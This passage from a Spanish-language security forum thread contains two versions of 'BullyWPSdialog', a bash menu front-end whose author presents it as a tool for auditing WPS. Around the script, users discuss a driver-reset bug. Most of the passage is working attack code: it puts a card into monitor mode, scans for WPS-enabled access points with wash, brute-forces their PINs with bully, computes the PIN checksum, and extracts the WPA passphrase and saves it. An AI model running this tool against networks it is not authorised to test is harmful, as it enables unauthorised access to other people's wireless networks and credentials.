WPS_PIN="$(tail -n 1 "$HOME/.bully/$( echo $BSSID|tr '[:upper:]' '[:lower:]').run"|tr ':' ' '|awk '{print $2}')"
CLAVE_WPA="$(tail -n 1 "$HOME/.bully/$( echo $BSSID|tr '[:upper:]' '[:lower:]').run"|tr ':' ' '|awk '{print $4}')"

# Si el BSSID objetivo cumple con el CheckSum,
# este se calcula para saber cual es el último dígito del PIN
# (ya podría venir el PIN completo en el log de bully ¬¬)
if [ ! "$NO_CHECKSUM" ]; then
WPS_PIN=$(echo $WPS_PIN|cut -b 1,2,3,4,5,6,7)
pin=$WPS_PIN
wps_pin_checksum
WPS_PIN=$WPS_PIN$PIN_p2
fi
else
WPS_PIN=""
CLAVE_WPA=""
fi

}

# Función que desmonta y vuelve a montar el driver de la interface seleccionada
reset_iface() {

if [ "$INTERFACE" ]; then

# Identificamos el driver de la interface seleccionada
DRIVER="$(basename "$(ls -l "/sys/class/net/$INTERFACE/device/driver")")"
if [ "$(echo "$DRIVER"|grep "ath9k")" ]; then
DRIVER="ath9k $DRIVER"
elif [ "$(echo "$DRIVER"|grep "ath5k")" ]; then
DRIVER="ath5k $DRIVER"
elif [ ! "$DRIVER" ] && [ -d "/sys/class/net/tiwlan0/wireless" ]; then
DRIVER="WiLink"
fi

# Se desmonta y se vuelve a montar el driver
for X in $DRIVER; do
rmmod -f "$X"       >/dev/null 2>&1
done
sleep 1
for X in $DRIVER; do
modprobe "$X"       >/dev/null 2>&1
done
sleep 1

# Se pone la interface "up" para evitar problemas
# con algunos adaptadores inalámbricos
ifconfig "$INTERFACE" up >/dev/null 2>&1
fi

}

# Función comprobar si la interface está asociada a un punto de acceso
comprobacion_interface_asociada() {

# Si la interface está asociada, no se puede continuar
if [ ! "$(iwconfig $INTERFACE|grep "Not-Associated")" ]; then
dialog --backtitle "$BACKTITLE" \
       --title " NO SE PUEDE CONTINUAR " \
       --ok-label "Salir" \
       --msgbox "\nPara evitar errores, la interface $INTERFACE \
                no debe estar asociada a un punto de acceso.\n " 0 0
exit 1
fi
}

# Función salvar clave WPA
salvar_clave_wpa() {

# Si no se ha obtenido la clave WPA, informamos de ello y volvemos al menú
if [ ! "$CLAVE_WPA" ]; then
dialog --backtitle "$BACKTITLE" \
       --title " PROCESO COMPLETADO " \
       --ok-label "Volver al menú" \
       --msgbox "\nNo ha sido posible obtener la clave WPA\n " 0 0
       
# Si dialog no devuelve el valor 0, salimos
if [ $? != 0 ]; then
reset_iface; exit 1
fi

menu --InfoAP
fi

# Si existe la ruta $KEYS y no es un directorio se elimina
if [ -e "$KEYS" ] && [ ! -d "$KEYS" ]; then rm -rf "$KEYS"; fi

# Si no existe la ruta $KEYS la creamos
if [ ! -d "$KEYS" ]; then mkdir -p "$KEYS"; fi

# Salvamos la clave en un archivo de texto
NOMBRE="$ESSID_$(echo "$BSSID"|tr ':' '-')"
cat << EOF >"$TMP/$NOMBRE.key"
    ESSID: $ESSID
    BSSID: $BSSID
  PIN WPS: $WPS_PIN
CLAVE WPA: $CLAVE_WPA
EOF

# Convertimos el texto a formato windows
cat "$TMP/$NOMBRE.key"|sed -e 's/$/\r/' >"$KEYS/$NOMBRE.txt"

# Diálogo que informa donde se ha guardado la clave WPA
dialog --backtitle "$BACKTITLE" \
       --title " PROCESO COMPLETADO " \
       --ok-label "Volver al menú" \
       --msgbox "\n¡Se han obtenido con exito clave WPA! \
                \nLa clave ha sido guardada en: \n\n$KEYS/$NOMBRE.txt" 0 0

# Saltamos al menú principal
menu --InfoAP --InfoWPA
}

# Función lanzar ataque de fuerza bruta con bully
bully_wps() {

# Se comprueba que la interface no esté asociada
comprobacion_interface_asociada

# Si no se ha seleccionado ningún objetivo no se puede continuar
if [ ! "$ESSID" -o ! "$BSSID" ]; then
dialog --backtitle "$BACKTITLE" \
       --title " NO SE PUEDE CONTINUAR " \
       --ok-label "Volver al menú" \
       --msgbox "\nNo se ha seleccionado ningún objetivo\n " 0 0
menu
fi

# Si el BSSID corresponde con 8C:0C:A3, el PIN no cumple con el CheckSum
if [ "$(echo "$BSSID"|cut -d':' -f1,2,3)" = "8C:0C:A3" ]; then
NO_CHECKSUM="-B"
LONGITUD_PIN="8"
else
NO_CHECKSUM=""
LONGITUD_PIN="7"
fi

# Si se ha elejido la opción de introducir PIN manualmente, mostramos el diálogo para introducir el pin
if [ "$1" = "--Pin" -o "$2" = "--Pin" ]; then
dialog --backtitle "$BACKTITLE" \
       --title " INTRODUCIR PIN MANUALMENTE " \
       --cancel-label "Volver al menú" \
       --max-input "$LONGITUD_PIN" \
       --inputbox "\nIn troduce el PIN con un máximo de $LONGITUD_PIN dígitos:" 0 0 \
2>"$TMP/PIN_WPS.txt"

# Si el comando anterior no devuelve el valor 0, volvemos al menú
if [ ! $? = 0 ]; then menu; fi

# Si no se intruduce un valor numérico, no se puede continuar
if [ ! "$(cat "$TMP/PIN_WPS.txt"|grep "^[0-9]*$")" ]; then
dialog --backtitle "$BACKTITLE" \
       --title " ERROR " \
       --msgbox "\nDebes introducir un valor numérico\n " 0 0
bully_wps --InfoAP --Pin
fi

# Guardamos en una variable el PIN junto con los parámetros para bully
PIN_WPS="-S -p $(cat "$TMP/PIN_WPS.txt")"
else
PIN_WPS=""
fi

# Lanzamos ataque con bully
xterm  -hold -fg FloralWhite -bg DarkBlue -T "Bully -> $ESSID" -e \
bully -F -b $BSSID -c $CANAL -v 3 $PIN_WPS $NO_CHECKSUM -N $INTERFACE_MON & BULLY_PID=$!

# Diálogo que aparecerá mientras se ejecuta el ataque
dialog --backtitle "$BACKTITLE" \
       --infobox "$INFO_AP\nSe ha puesto en marcha el ataque con bully,
                 presiona \"Control+C\" para detener el proceso.\n " 16 49
       
# Si se presiona "Control+C", se detiene el proceso de bully
trap 'kill $BULLY_PID >/dev/null 2>&1' SIGINT

# Mientras el proceso de bully esté activo, el script estrá "durmiendo"
while [ -e "/proc/$BULLY_PID" ]; do
sleep 2
done

# Obtenemos el PIN y clave WPA
obtener_clave_wpa

# Salvamos PIN y clave en un archivo
salvar_clave_wpa

}

# Función seleccionar objetivo
seleccionar_objetivo() {

# Si no se encuentran objetivos, no se puede continuar
if [ ! "$(cat "$TMP/wash_scan.txt")" ]; then
dialog --backtitle "$BACKTITLE" \
       --title " NO SE PUEDE CONTINUAR " \
       --ok-label "Volver al menú" \
       --msgbox "\nNo se ha encontrado ningún objetivo con WPS activado.\n " 0 0
menu
fi

# Creamos el menú para seleccionar objetivo
N=1
cat "$TMP/wash_scan.txt"|while read MAC CANAL PWR VER LOCK ESSID; do
if [ "$LOCK" = "Yes" ]; then LOCK="Si"; fi
echo "\"$N)\" \"$MAC    $LOCK       $CANAL     $(($PWR+100))    $ESSID\" \\"
N=$(($N+1))
done >"$TMP/menu_objetivos.txt"

# Diálogo para seleccionar objetivo
dialog --backtitle "$BACKTITLE" \
       --title " SELECCIONAR OBJETIVO " \
       --cancel-label "Volver al menú" \
       --menu "\n              BSSID        Locked   Canal   PWR    ESSID" 0 0 0 \
       --file "$TMP/menu_objetivos.txt" \
2>"$TMP/seleccion.txt"

# Si el comando anterior no devuelve el valor 0, volvemos al menú
if [ ! $? = 0 ]; then menu; fi

# Definimos los parámetros que se le pasarán a bully
SELECCION=$(cat "$TMP/seleccion.txt")
ESSID="$(cat "$TMP/menu_objetivos.txt"|tr -d '"'|tr -d '\\'|grep "^$SELECCION"|cut -d' ' -f22-)"
BSSID="$(cat "$TMP/menu_objetivos.txt"|tr -d '"'|tr -d '\\'|grep "^$SELECCION"|awk '{print $2}')"
CANAL="$(cat "$TMP/menu_objetivos.txt"|tr -d '"'|tr -d '\\'|grep "^$SELECCION"|awk '{print $4}')"

# Comprobamos si la clave ya ha sido obtenida anteriormente
if [ -e "$KEYS/$(echo "$BSSID"|tr ':' '-').txt" ]; then
WPS_PIN="$(cat "$KEYS/$(echo "$BSSID"|tr ':' '-').txt"|grep "PIN WPS:"|awk '{print $3}')"
CLAVE_WPA="$(cat "$KEYS/$(echo "$BSSID"|tr ':' '-').txt"|grep "CLAVE WPA:"|awk '{print $3}')"
else
obtener_clave_wpa
fi

# Si la clave ya ha diso obtenida anteriormente, la mostramos en el menú,
# en caso contrario mostramos solo la información básica
if [ "$CLAVE_WPA" ]; then
menu --InfoAP --InfoWPA
else
menu --InfoAP
fi
}

# Función escanear con wash en busca de objetivos con WPS activado
escanear_wps() {

# Se comprueba que la interface no esté asociada
comprobacion_interface_asociada

# Diálogo para introducir tiempo a escanear
dialog --backtitle "$BACKTITLE" \
       --title " ESCANEAR EN BUSCA DE OBJETIVOS " \
       --cancel-label "Volver al menú" \
       --max-input "2" \
       --inputbox "\nIntroduce el tiempo a escanear en segundos: \n " 0 0 \
2>"$TMP/segundos.txt"

# Si el comando anterior no devuelve el valor 0, volvemos al menú
if [ ! $? = 0 ]; then menu; fi

# Si no se introduce un valor numérico, no se puede continuar
if [ ! "$(cat "$TMP/segundos.txt"|grep "^[0-9]*$")" ]; then
dialog --backtitle "$BACKTITLE" \
       --title " ERROR " \
       --msgbox "\nDebes introducir un valor numérico\n " 0 0
escanear_wps
fi

# Matámos proceso de wash para evitar conflictos
killall wash >/dev/null 2>&1

# Escaneamos con wash
wash -i $INTERFACE_MON -C -D 2>/dev/null|tail -n +3|grep -v "^$" >"$TMP/wash_scan.txt" &

# Diálogo que muestra barra de progreso mientras se escanea
N2=$(cat "$TMP/segundos.txt")
N1=1
while [ ! $(($N1-1)) -eq $N2 ]; do
PORCENT=$(($(($N1*100))/$N2))
echo $PORCENT
sleep 1
N1=$(($N1+1))
done|\
dialog --backtitle "$BACKTITLE" \
       --title " ESCANEANDO EN BUSCA DE OBJETIVOS " \
       --gauge "" 0 0 \
2>/dev/null

# Cuando pasa el tiempo programado, terminamos el rpoceso de wash
killall wash >/dev/null 2>&1
sleep 1

# Saltamos a la funcion seleccionar objetivo
seleccionar_objetivo
}

# Función seleccionar interface y poner en modo monitor
seleccionar_interface() {

# Si no se encuentra ninguna tarjeta wifi, no se puede continuar
if [ ! "$(iwconfig 2>/dev/null|cut -d' ' -f1|grep -v "^$")" ]; then
dialog --backtitle "$BACKTITLE" \
       --title " NO SE PUEDE CONTINUAR " \
               --ok-label "Salir" \
               --msgbox "\nNo se ha detectado ninguna tarjeta wifi en este equipo.\n " 0 0
exit 1
fi

# Creamos el menú para seleccionar la interface
N=1
airmon-ng 2>/dev/null|egrep -v "^Interface|^$"|cut -d'-' -f1|\
while read INTERFACE CHIPSET MODELO DRIVER; do
if [ "$(iwconfig 2>/dev/null|grep "^$INTERFACE"|grep -v "Mode:Monitor")" ]; then
echo "\"$N\" \"$INTERFACE       $CHIPSET $MODELO      $DRIVER\" \\"
N=$(($N+1))
fi
done >"$TMP/menu_interfaces.txt"

# Diálogo para seleccionar interface
dialog --backtitle "$BACKTITLE" \
       --title " SELECCIONAR INTERFACE " \
       --cancel-label "Salir" \
       --menu "\n       Interface   Chipset            Driver" 0 0 0 \
       --file "$TMP/menu_interfaces.txt" \
2>"$TMP/seleccion.txt"

# Si dialog no devuelve el valor 0, salimos.
if [ ! $? = 0 ]; then exit 1; fi

SELECCION="$(cat "$TMP/seleccion.txt")"
INTERFACE="$(cat "$TMP/menu_interfaces.txt"|tr -d '"'|tr -d '\\'|grep ^$SELECCION|awk '{print $2}')"

# Se comprueba que la interface no esté asociada
comprobacion_interface_asociada

# Se reinicia el driver de la interface seleccionada para evitar conflictos
reset_iface

# Ponemos la interface seleccionada en modo monitor
airmon-ng start $INTERFACE >"$TMP/log_airmon-ng.txt" 2>&1

# Si hay algún error al poner la interface en modo monitor no se puede continuar
if [ ! $? = 0 ]; then
dialog --backtitle "$BACKTITLE" \
               --title " ERROR " \
               --ok-label "Salir" \
               --textbox "$TMP/log_airmon-ng.txt" 0 0
        reset_iface; exit 1
fi

# Definimos interface en modo monitor
INTERFACE_MON="$(cat "$TMP/log_airmon-ng.txt"|grep "monitor mode enabled"|tr -d ')'|awk '{print $5}')"

dialog --backtitle "$BACKTITLE" \
       --infobox "\nSe utilizará $INTERFACE_MON en modo monitor\n " 0 0
sleep 3

# Saltámos al menú principal
menu
}

# Yeah Niroz was here, computePIN by ZaoChunsheng, C portado a bash
wps_pin_checksum() {
  acum=0
  PIN_p2=0

  while [ $pin -gt 0 ]; do
    acum=$(($acum + (3 * ($pin % 10))))
    pin=$(($pin / 10))
    acum=$(($acum + ($pin % 10)))
    pin=$(($pin / 10))
  done

  result=$(((10 - ($acum % 10)) % 10))
  PIN_p2=$(($result % 10000000))
}

# Función menú principal
menu() {

# Información del objetivo
INFO_AP="
$(if [ "$1" = "--InfoAP" ]; then
echo "\n\n        INFORMACIÓN DEL OBJETIVO\n"
echo "   ************************************  \n"
echo "      ESSID: $ESSID\n"
echo "      BSSID: $BSSID\n"
echo "      Canál: $CANAL\n"
if [ "$2" = "--InfoWPA" ]; then
echo "    PIN WPS: $WPS_PIN\n"
echo "  Clave WPA: $CLAVE_WPA\n"
echo "   ************************************  \n\n"
else
echo "   ************************************  \n\n"
fi
fi)"

# Diálogo con opciones del menú principal
dialog --backtitle "$BACKTITLE" \
       --title " MENU PRINCIPAL " \
       --cancel-label "Salir" \
       --menu "$INFO_AP\nSelecciona una opción:" 0 0 0 \
      "1)" "Escanear en busca de objetivos" \
      "2)" "Comenzar ataque de fuerza bruta" \
      "3)" "Probar un PIN específico" \
      "4)" "Seleccionar otro objetivo" \
2>"$TMP/seleccion.txt"

# Si dialog no devuelve el valor 0, salimos
if [ ! $? = 0 ]; then reset_iface; exit 1; fi

# Dependiendo de la opción elegida, se llama a la función correspondiente
case $(cat "$TMP/seleccion.txt"|tr -d ')') in
1 ) escanear_wps;;
2 ) bully_wps --InfoAP;;
3 ) bully_wps --InfoAP --Pin;;
4 ) seleccionar_objetivo;;
esac
}

# Si existe la ruta $TMP y no es un directorio se elimina
if [ -e "$TMP" ] && [ ! -d "$TMP" ]; then rm -rf "$TMP"; fi

# Si no existe la ruta $TMP la creamos
if [ ! -d "$TMP" ]; then mkdir -p "$TMP"; fi

# Comienza el script seleccionando la interface
seleccionar_interface

Título: Re: BullyWPSdialog - Interface dialog para auditar WPS con bully
Publicado por: USUARIONUEVO en 26-09-2013, 10:43 (Jueves)
PD


si quieres simplificar el tumbar driver ...


solo era necesario tumbar el que nos pedia..el ath9k_htc .osea , estaba todo bien desde el principio ... pero nos falto el sleep.


lo digo por que en los equipos con una atheros pci , le tumbaremos tambien la interface que solo usa ath9k


asi que , mejor volver a simplificar , ...y el sleep 2
Título: Re: BullyWPSdialog - Interface dialog para auditar WPS con bully
Publicado por: USUARIONUEVO en 26-09-2013, 10:45 (Jueves)
voy a probarlo y te digo , pero el problema viene de lanzar


reset iface   e inmediatamente despues el airmon-ng .... y tal vez cuando lanzas el airmon ..el driver aun no remonto ...y menos con los sleep dentro de la funcion...por que aun tardara mas el remontaje.

hay que retardar el airmon-ng start

pruebo y te digo.
Título: Re: BullyWPSdialog - Interface dialog para auditar WPS con bully
Publicado por: USUARIONUEVO en 26-09-2013, 10:49 (Jueves)
el apaño de la ultima que pones funciona perfectamente.


ahora ya si no es demasiada molestia y encontrado el error , casi mejor no tocar mas que el driver que se nos indica.


ath9k_htc

y dejar el otro tranquilo ...por que basta con solo ath9k_htc
Título: Re: BullyWPSdialog - Interface dialog para auditar WPS con bully
Publicado por: geminis_demon en 26-09-2013, 11:00 (Jueves)
Ok, pues si va todo bien lo pongo ya en el post principal con versión 0.8.1

Código: [Seleccionar]
#!/bin/bash

# VERSION 0.1  12/09/2013
# -----------------------
# - Fecha de salida
#
# VERSION 0.2  12/09/2013
# -----------------------
# - Solucionado bug con ESSIDs que contengan espacios (Warcry)
#
# VERSION 0.3  13/09/2013
# -----------------------
# - Añadido parametro -N para que las ralink no fallen. (USUARIONUEVO)
#
# VERSION 0.4  13/09/2013
# -----------------------
# - Añadido parametro -F para evitar warnings si cambiamos de ataque secuencial a random o viceversa.
#  (USUARIONUEVO)
#
# VERSION 0.5  19/09/2013
# -----------------------
# - Añadido parámetro -hold para que no se cierre la xterm en caso de que se produzca algún error.
# - Solucionado problema que impedía leer la clave WPA del log de bully.
# - Se sustituye la función de desmontar interfaces en modo monitor por la de desmontar y volver
#   a montar el driver de la interface (es mas efectivo).
# - Ahora al seleccionar objetivo, se comprueba si la clave ya se ha obtenido anteriormente y
#   en caso afirmativo, se muestra la clave junto con la información del objetivo.
#
# VERSION 0.6  24/09/2013
# -----------------------
# - Modificada funciona de reseteo de interface para añadir al final un ifconfig up
# - Ahora se "resetea" la interface también al salir del script.
#
# VERSION 0.7  24/09/2013
# -----------------------
# - Solucionado bug que probocaba que se quedara el PIN "fijado"
#   en el ataque de fuerza bruta habiendo realizado anteriormente
#   un ataque introduciendo un PIN especifico.
# - Solucionado un error ortográfico.
#
# VERSION 0.8.1  26/09/2013
# -----------------------
# - Mejorada la función de detectar driver para identificar correctamnete
#   el driver WiLink.
# - Añadido un sleep después de desmonta el driver y otro después de volver
#   a montarlo, para evitar problemas con el driver ath9k.



# Variables globales
SCRIPT="BullyWPSdialog"
VERSION="0.8.1 Beta"
BACKTITLE="$SCRIPT $VERSION - By geminis_demon - SeguridadWireless.Net"
TMP="/tmp/$SCRIPT"
KEYS="$HOME/swireless/$SCRIPT/Keys"

# Función que obtiene PIN y clave WPA del log de bully
obtener_clave_wpa() {

# En caso de que el retun de bully no sea 0, de da por echo que no se ha obtenido la clave
if [ "$(tail -n 2 "$HOME/.bully/$( echo $BSSID|tr '[:upper:]' '[:lower:]').run"|grep "signal 0$")" ]; then

# Se parsea el log de bully para obtener el PIN y la clave WPA
WPS_PIN="$(tail -n 1 "$HOME/.bully/$( echo $BSSID|tr '[:upper:]' '[:lower:]').run"|tr ':' ' '|awk '{print $2}')"
CLAVE_WPA="$(tail -n 1 "$HOME/.bully/$( echo $BSSID|tr '[:upper:]' '[:lower:]').run"|tr ':' ' '|awk '{print $4}')"

# Si el BSSID objetivo cumple con el CheckSum,
# este se calcula para saber cual es el último dígito del PIN
# (ya podría venir el PIN completo en el log de bully ¬¬)
if [ ! "$NO_CHECKSUM" ]; then
WPS_PIN=$(echo $WPS_PIN|cut -b 1,2,3,4,5,6,7)
pin=$WPS_PIN
wps_pin_checksum
WPS_PIN=$WPS_PIN$PIN_p2
fi
else
WPS_PIN=""
CLAVE_WPA=""
fi

}

# Función que desmonta y vuelve a montar el driver de la interface seleccionada
reset_iface() {

if [ "$INTERFACE" ]; then

# Identificamos el driver de la interface seleccionada
DRIVER="$(basename "$(ls -l "/sys/class/net/$INTERFACE/device/driver")")"
if [ ! "$DRIVER" ] && [ -d "/sys/class/net/tiwlan0/wireless" ]; then
DRIVER="WiLink"
fi

# Se desmonta y se vuelve a montar el driver
rmmod -f "$DRIVER" >/dev/null 2>&1
sleep 1
modprobe "$DRIVER" >/dev/null 2>&1
sleep 1

# Se pone la interface "up" para evitar problemas
# con algunos adaptadores inalámbricos
ifconfig "$INTERFACE" up >/dev/null 2>&1
fi

}

# Función comprobar si la interface está asociada a un punto de acceso
comprobacion_interface_asociada() {

# Si la interface está asociada, no se puede continuar
if [ ! "$(iwconfig $INTERFACE|grep "Not-Associated")" ]; then
dialog --backtitle "$BACKTITLE" \
      --title " NO SE PUEDE CONTINUAR " \
      --ok-label "Salir" \
      --msgbox "\nPara evitar errores, la interface $INTERFACE \
               no debe estar asociada a un punto de acceso.\n " 0 0
exit 1
fi
}

# Función salvar clave WPA
salvar_clave_wpa() {

# Si no se ha obtenido la clave WPA, informamos de ello y volvemos al menú
if [ ! "$CLAVE_WPA" ]; then
dialog --backtitle "$BACKTITLE" \
      --title " PROCESO COMPLETADO " \
      --ok-label "Volver al menú" \
      --msgbox "\nNo ha sido posible obtener la clave WPA\n " 0 0
     
# Si dialog no devuelve el valor 0, salimos
if [ $? != 0 ]; then
reset_iface; exit 1
fi

menu --InfoAP
fi

# Si existe la ruta $KEYS y no es un directorio se elimina
if [ -e "$KEYS" ] && [ ! -d "$KEYS" ]; then rm -rf "$KEYS"; fi

# Si no existe la ruta $KEYS la creamos
if [ ! -d "$KEYS" ]; then mkdir -p "$KEYS"; fi

# Salvamos la clave en un archivo de texto
NOMBRE="$ESSID_$(echo "$BSSID"|tr ':' '-')"
cat << EOF >"$TMP/$NOMBRE.key"
    ESSID: $ESSID
    BSSID: $BSSID
  PIN WPS: $WPS_PIN
CLAVE WPA: $CLAVE_WPA
EOF

# Convertimos el texto a formato windows
cat "$TMP/$NOMBRE.key"|sed -e 's/$/\r/' >"$KEYS/$NOMBRE.txt"

# Diálogo que informa donde se ha guardado la clave WPA
dialog --backtitle "$BACKTITLE" \
       --title " PROCESO COMPLETADO " \
       --ok-label "Volver al menú" \
       --msgbox "\n¡Se han obtenido con exito clave WPA! \
                \nLa clave ha sido guardada en: \n\n$KEYS/$NOMBRE.txt" 0 0

# Saltamos al menú principal
menu --InfoAP --InfoWPA
}

# Función lanzar ataque de fuerza bruta con bully
bully_wps() {

# Se comprueba que la interface no esté asociada
comprobacion_interface_asociada

# Si no se ha seleccionado ningún objetivo no se puede continuar
if [ ! "$ESSID" -o ! "$BSSID" ]; then
dialog --backtitle "$BACKTITLE" \
      --title " NO SE PUEDE CONTINUAR " \
      --ok-label "Volver al menú" \
      --msgbox "\nNo se ha seleccionado ningún objetivo\n " 0 0
menu
fi

# Si el BSSID corresponde con 8C:0C:A3, el PIN no cumple con el CheckSum
if [ "$(echo "$BSSID"|cut -d':' -f1,2,3)" = "8C:0C:A3" ]; then
NO_CHECKSUM="-B"
LONGITUD_PIN="8"
else
NO_CHECKSUM=""
LONGITUD_PIN="7"
fi

# Si se ha elejido la opción de introducir PIN manualmente, mostramos el diálogo para introducir el pin
if [ "$1" = "--Pin" -o "$2" = "--Pin" ]; then
dialog --backtitle "$BACKTITLE" \
      --title " INTRODUCIR PIN MANUALMENTE " \
      --cancel-label "Volver al menú" \
      --max-input "$LONGITUD_PIN" \
      --inputbox "\nIn troduce el PIN con un máximo de $LONGITUD_PIN dígitos:" 0 0 \
2>"$TMP/PIN_WPS.txt"

# Si el comando anterior no devuelve el valor 0, volvemos al menú
if [ ! $? = 0 ]; then menu; fi

# Si no se intruduce un valor numérico, no se puede continuar
if [ ! "$(cat "$TMP/PIN_WPS.txt"|grep "^[0-9]*$")" ]; then
dialog --backtitle "$BACKTITLE" \
      --title " ERROR " \
      --msgbox "\nDebes introducir un valor numérico\n " 0 0
bully_wps --InfoAP --Pin
fi

# Guardamos en una variable el PIN junto con los parámetros para bully
PIN_WPS="-S -p $(cat "$TMP/PIN_WPS.txt")"
else
PIN_WPS=""
fi

# Lanzamos ataque con bully
xterm  -hold -fg FloralWhite -bg DarkBlue -T "Bully -> $ESSID" -e \
bully -F -b $BSSID -c $CANAL -v 3 $PIN_WPS $NO_CHECKSUM -N $INTERFACE_MON & BULLY_PID=$!

# Diálogo que aparecerá mientras se ejecuta el ataque
dialog --backtitle "$BACKTITLE" \
       --infobox "$INFO_AP\nSe ha puesto en marcha el ataque con bully,
                 presiona \"Control+C\" para detener el proceso.\n " 16 49
      
# Si se presiona "Control+C", se detiene el proceso de bully
trap 'kill $BULLY_PID >/dev/null 2>&1' SIGINT

# Mientras el proceso de bully esté activo, el script estrá "durmiendo"
while [ -e "/proc/$BULLY_PID" ]; do
sleep 2
done

# Obtenemos el PIN y clave WPA
obtener_clave_wpa

# Salvamos PIN y clave en un archivo
salvar_clave_wpa

}

# Función seleccionar objetivo
seleccionar_objetivo() {

# Si no se encuentran objetivos, no se puede continuar
if [ ! "$(cat "$TMP/wash_scan.txt")" ]; then
dialog --backtitle "$BACKTITLE" \
      --title " NO SE PUEDE CONTINUAR " \
      --ok-label "Volver al menú" \
      --msgbox "\nNo se ha encontrado ningún objetivo con WPS activado.\n " 0 0
menu
fi

# Creamos el menú para seleccionar objetivo
N=1
cat "$TMP/wash_scan.txt"|while read MAC CANAL PWR VER LOCK ESSID; do
if [ "$LOCK" = "Yes" ]; then LOCK="Si"; fi
echo "\"$N)\" \"$MAC    $LOCK       $CANAL     $(($PWR+100))    $ESSID\" \\"
N=$(($N+1))
done >"$TMP/menu_objetivos.txt"

# Diálogo para seleccionar objetivo
dialog --backtitle "$BACKTITLE" \
       --title " SELECCIONAR OBJETIVO " \
       --cancel-label "Volver al menú" \
       --menu "\n              BSSID        Locked   Canal   PWR    ESSID" 0 0 0 \
       --file "$TMP/menu_objetivos.txt" \
2>"$TMP/seleccion.txt"

# Si el comando anterior no devuelve el valor 0, volvemos al menú
if [ ! $? = 0 ]; then menu; fi

# Definimos los parámetros que se le pasarán a bully
SELECCION=$(cat "$TMP/seleccion.txt")
ESSID="$(cat "$TMP/menu_objetivos.txt"|tr -d '"'|tr -d '\\'|grep "^$SELECCION"|cut -d' ' -f22-)"
BSSID="$(cat "$TMP/menu_objetivos.txt"|tr -d '"'|tr -d '\\'|grep "^$SELECCION"|awk '{print $2}')"
CANAL="$(cat "$TMP/menu_objetivos.txt"|tr -d '"'|tr -d '\\'|grep "^$SELECCION"|awk '{print $4}')"

# Comprobamos si la clave ya ha sido obtenida anteriormente
if [ -e "$KEYS/$(echo "$BSSID"|tr ':' '-').txt" ]; then
WPS_PIN="$(cat "$KEYS/$(echo "$BSSID"|tr ':' '-').txt"|grep "PIN WPS:"|awk '{print $3}')"
CLAVE_WPA="$(cat "$KEYS/$(echo "$BSSID"|tr ':' '-').txt"|grep "CLAVE WPA:"|awk '{print $3}')"
else
obtener_clave_wpa
fi

# Si la clave ya ha diso obtenida anteriormente, la mostramos en el menú,
# en caso contrario mostramos solo la información básica
if [ "$CLAVE_WPA" ]; then
menu --InfoAP --InfoWPA
else
menu --InfoAP
fi
}

# Función escanear con wash en busca de objetivos con WPS activado
escanear_wps() {

# Se comprueba que la interface no esté asociada
comprobacion_interface_asociada

# Diálogo para introducir tiempo a escanear
dialog --backtitle "$BACKTITLE" \
       --title " ESCANEAR EN BUSCA DE OBJETIVOS " \
       --cancel-label "Volver al menú" \
       --max-input "2" \
       --inputbox "\nIntroduce el tiempo a escanear en segundos: \n " 0 0 \
2>"$TMP/segundos.txt"

# Si el comando anterior no devuelve el valor 0, volvemos al menú
if [ ! $? = 0 ]; then menu; fi

# Si no se introduce un valor numérico, no se puede continuar
if [ ! "$(cat "$TMP/segundos.txt"|grep "^[0-9]*$")" ]; then
dialog --backtitle "$BACKTITLE" \
      --title " ERROR " \
      --msgbox "\nDebes introducir un valor numérico\n " 0 0
escanear_wps
fi

# Matámos proceso de wash para evitar conflictos
killall wash >/dev/null 2>&1

# Escaneamos con wash
wash -i $INTERFACE_MON -C -D 2>/dev/null|tail -n +3|grep -v "^$" >"$TMP/wash_scan.txt" &

# Diálogo que muestra barra de progreso mientras se escanea
N2=$(cat "$TMP/segundos.txt")
N1=1
while [ ! $(($N1-1)) -eq $N2 ]; do
PORCENT=$(($(($N1*100))/$N2))
echo $PORCENT
sleep 1
N1=$(($N1+1))
done|\
dialog --backtitle "$BACKTITLE" \
       --title " ESCANEANDO EN BUSCA DE OBJETIVOS " \
       --gauge "" 0 0 \
2>/dev/null

# Cuando pasa el tiempo programado, terminamos el rpoceso de wash
killall wash >/dev/null 2>&1
sleep 1

# Saltamos a la funcion seleccionar objetivo
seleccionar_objetivo
}

# Función seleccionar interface y poner en modo monitor
seleccionar_interface() {

# Si no se encuentra ninguna tarjeta wifi, no se puede continuar
if [ ! "$(iwconfig 2>/dev/null|cut -d' ' -f1|grep -v "^$")" ]; then
dialog --backtitle "$BACKTITLE" \
      --title " NO SE PUEDE CONTINUAR " \
               --ok-label "Salir" \
               --msgbox "\nNo se ha detectado ninguna tarjeta wifi en este equipo.\n " 0 0
exit 1
fi

# Creamos el menú para seleccionar la interface
N=1
airmon-ng 2>/dev/null|egrep -v "^Interface|^$"|cut -d'-' -f1|\
while read INTERFACE CHIPSET MODELO DRIVER; do
if [ "$(iwconfig 2>/dev/null|grep "^$INTERFACE"|grep -v "Mode:Monitor")" ]; then
echo "\"$N\" \"$INTERFACE       $CHIPSET $MODELO      $DRIVER\" \\"
N=$(($N+1))
fi
done >"$TMP/menu_interfaces.txt"

# Diálogo para seleccionar interface
dialog --backtitle "$BACKTITLE" \
       --title " SELECCIONAR INTERFACE " \
       --cancel-label "Salir" \
       --menu "\n       Interface   Chipset            Driver" 0 0 0 \
       --file "$TMP/menu_interfaces.txt" \
2>"$TMP/seleccion.txt"

# Si dialog no devuelve el valor 0, salimos.
if [ ! $? = 0 ]; then exit 1; fi

SELECCION="$(cat "$TMP/seleccion.txt")"
INTERFACE="$(cat "$TMP/menu_interfaces.txt"|tr -d '"'|tr -d '\\'|grep ^$SELECCION|awk '{print $2}')"

# Se comprueba que la interface no esté asociada
comprobacion_interface_asociada

# Se reinicia el driver de la interface seleccionada para evitar conflictos
reset_iface

# Ponemos la interface seleccionada en modo monitor
airmon-ng start $INTERFACE >"$TMP/log_airmon-ng.txt" 2>&1

# Si hay algún error al poner la interface en modo monitor no se puede continuar
if [ ! $? = 0 ]; then
dialog --backtitle "$BACKTITLE" \
               --title " ERROR " \
               --ok-label "Salir" \
               --textbox "$TMP/log_airmon-ng.txt" 0 0
        reset_iface; exit 1
fi

# Definimos interface en modo monitor
INTERFACE_MON="$(cat "$TMP/log_airmon-ng.txt"|grep "monitor mode enabled"|tr -d ')'|awk '{print $5}')"

dialog --backtitle "$BACKTITLE" \
       --infobox "\nSe utilizará $INTERFACE_MON en modo monitor\n " 0 0
sleep 3

# Saltámos al menú principal
menu
}

# Yeah Niroz was here, computePIN by ZaoChunsheng, C portado a bash
wps_pin_checksum() {
  acum=0
  PIN_p2=0

  while [ $pin -gt 0 ]; do
    acum=$(($acum + (3 * ($pin % 10))))
